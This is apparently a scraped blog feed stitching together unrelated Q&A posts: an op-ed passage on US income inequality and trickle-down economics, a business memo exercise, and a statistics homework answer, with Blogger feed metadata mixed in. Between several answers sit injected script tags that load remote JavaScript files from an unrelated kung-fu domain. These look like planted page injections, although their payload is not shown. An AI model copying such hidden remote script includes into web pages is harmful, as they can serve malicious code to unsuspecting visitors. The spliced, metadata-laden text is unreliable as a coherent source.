and CEOs has grown nine times wider since the 1970s. <br><br /><br /><br><br /><br />The number of billionaires is a record high, but the share of national income going to wages and salaries is at a record low. <br><br /><br /><br><br /><br />U.S. corporate profits increased 21 percent in the past year, Market Watch reported in March. "Profits have been so high because almost all of the benefits from productivity improvements are flowing to the owners of capital rather than to the workers," said Market Watch. <br><br /><br /><br><br /><br />The wealthiest 1 percent of Americans (minimum net worth $6 million) owned 62 percent of the nation's business assets, 51 percent of stocks and 70 percent of bonds as of 2004, according to the latest data from the Federal Reserve Survey of Consumer Finances -- which excludes the Forbes 400. That's way up from 1989, when the wealthiest 1 percent owned 54 percent of business assets, 41 percent of stocks and 52 percent of bonds. <br><br /><br /><br><br /><br />Our growing economy is not producing a growing middle class, but a richer aristocracy. <br><br /><br /><br><br /><br />The high point for median household income -- the income of the household in the middle -- was $47,671 in 1999, adjusted for inflation. In 2005, median household income was $1,345 less at $46,326. In the same period, the Forbes 400 gained more than 100 billionaires. <br><br /><br /><br><br /><br />Government policies are fueling rising inequality. Taxpayers with incomes above $1 million will see their after-tax income grow by about 6 percent this year thanks to tax cuts the nation can't afford. <br><br /><br /><br><br /><br />In an economy where money is flowing up to the very top, even college-educated workers are going backward. Inflation-adjusted median household income was lower in 2005 than 1999 even when the householder had a bachelor's degree, master's degree, professional degree or doctorate. <br><br /><br /><br><br /><br />The problem is much bigger than the rich getting richer, while the poor get poorer. The really rich are getting richer at the expense of most everyone else. <br><br /><br /><br><br /><br />Solutions include restoring the link between rising worker productivity and pay, raising the miserly minimum wage, narrowing the obscene pay gap between workers and CEOs, rolling back tax cuts for the wealthy -- and stop taxing income from work more than income from capital gains.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur2.js type=text/javascript></script><br>Is this how this trickle down economics works? Or is it really flood up?<br>Trickle-down economics" and "trickle-down theory," in United States political rhetoric, are characterizations by opponents (principally Democrats) of the policy of lowering taxes on high incomes and business activity. Proponents of these policies claim that they will promote new investment and economic growth, thereby indirectly benefitting people who do not directly pay the taxes. Opponents characterize this as a claim that the people who would otherwise pay the tax will distribute their benefit to less wealthy individuals, so that a fraction will reach the general population and stimulate the economy.[1] Proponents of the policies generally do not use the terms "trickle-down economics" themselves.<br><br /><br /><br><br /><br />Today "trickle-down economics" is most closely identified with the economic policies of the Ronald Reagan administration, known as Reaganomics or supply-side economics. A major feature of these policies was the reduction of tax rates on capital gains, corporate income, and higher individual incomes, along with the reduction or elimination of various excise taxes. David Stockman, who as Reagan's budget director championed these cuts but then became skeptical of them, told journalist William Greider that the term "supply-side economics" was used to promote a trickle-down idea.[2]<br><br /><br /><br><br /><br />The term "trickle-down" comes from an analogy with a phenomenon in marketing, the trickle-down effect.<br>Reply:Study micro and marco economics it is a science. That will explain how it works any questions of reffering to redistribution of wealth is also explained.

Productivity has been increased by over 50 percent! The management intends to apply these same methods to office staff in order to reduce costs. Our company must adapt in a competitive world. We aim to find ways of avoiding unnecessary actions by all staff. We therefore propose to pay a month’s extra salary to any person who in the management’s opinion has put forward the most practical suggestion to improve a particular office routine. All suggestions should be sent to the MD’s office before the end of next month.<br>Reply:Memo to: All Office Staff<br><br /><br />Date: February 8, 2006<br><br /><br /><br><br /><br /> Dear Sir:<br><br /><br /><br><br /><br /> In our efforts to create more efficient ways to reduce costs, we are adapting the necessary measures to improve our productions by ____%.<br><br /><br /><br><br /><br /> Hence, we are suggesting that the employee with the most practical suggestion be given a month's pay as an incentive. <br><br /><br /><br><br /><br /> Thank you very much for your kind consideration regarding this matter...<br>Reply:Memo : From the Managing Director to all the staff.<br><br /><br />Date:08.02.2008.<br><br /><br /> As a result of the productivity survey carried out in the factory, more rapid and efficient ways are now being applied in the factory.<br><br /><br />Productivity has been increased by over 50%.The management intends to apply these same methods to office staff in order to reduce costs.<br><br /><br />Our company must adapt to the competitive world,where we should aim to find ways of avoiding unnecessary actions by all staff.<br><br /><br />We, therefore,propose to pay a month's extra salary to any person,who in the management'sopinion has put forward the most practical suggestion to improve a particular office routine.<br><br /><br />All suggestions should be sent to the MD's office,before the end of next month.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>ADAhttp://www.blogger.com/profile/08161094250951753616noreply@blogger.com0tag:blogger.com,1999:blog-1877548265497100915.post-85580693647488947082010-05-24T01:51:00.000-07:002010-05-24T01:51:12.695-07:00Help with probability and statistics!?can you explain these questions to me plz<br><br /><br />statistics is challenging for me and im kind of struggling<br><br /><br />List the population and the sample:<br><br /><br />1.A study of 33,000 infants in italy was conducted to find a link between a heart rhythm abnormality and sudden infant death syndrome<br><br /><br /><br><br /><br />2. A survey of 500 women found that more than 56% are the primary investor in their household<br><br /><br /><br><br /><br />determine whether the numerical value is a parameter or a statistic:<br><br /><br />3.the average annual salary for 35 of a company's 1200 accountants is $57,000.<br><br /><br /><br><br /><br />thank you and bless you<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur1.js type=text/javascript></script><br>Help with probability and statistics!?<br>In general, the population is the entire group about which you want to make a statement. The sample is the particular set of individuals you look at to decide what that statement is.<br><br /><br /><br><br /><br />So in your first item, you are looking at 33,000 infants. Presumably you want to make a statement about all infants.<br><br /><br /><br><br /><br />In (2), you are looking at 500 women and you want generalize what you find about them to make a statement about all women.<br><br /><br /><br><br /><br /><br><br /><br />This distinction between parameter and statistic is similar. The parameter is a feature of the population; it is almost always impossible to measure every member of the population, so the value of the parameter must be estimated. We estimate the parameter by starting with a statistic-- a measured value from some subset of the population (in particular, a sample).<br><br /><br /><br><br /><br />So in your third question, you have a sample of 35 accountants from a population of some 1200 accountants. Among that sample, you have information from all the people, giving you a statistic (average salary, in this case).<br><br /><br /><br><br /><br />Good luck.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>ADAhttp://www.blogger.com/profile/08161094250951753616noreply@blogger.com0
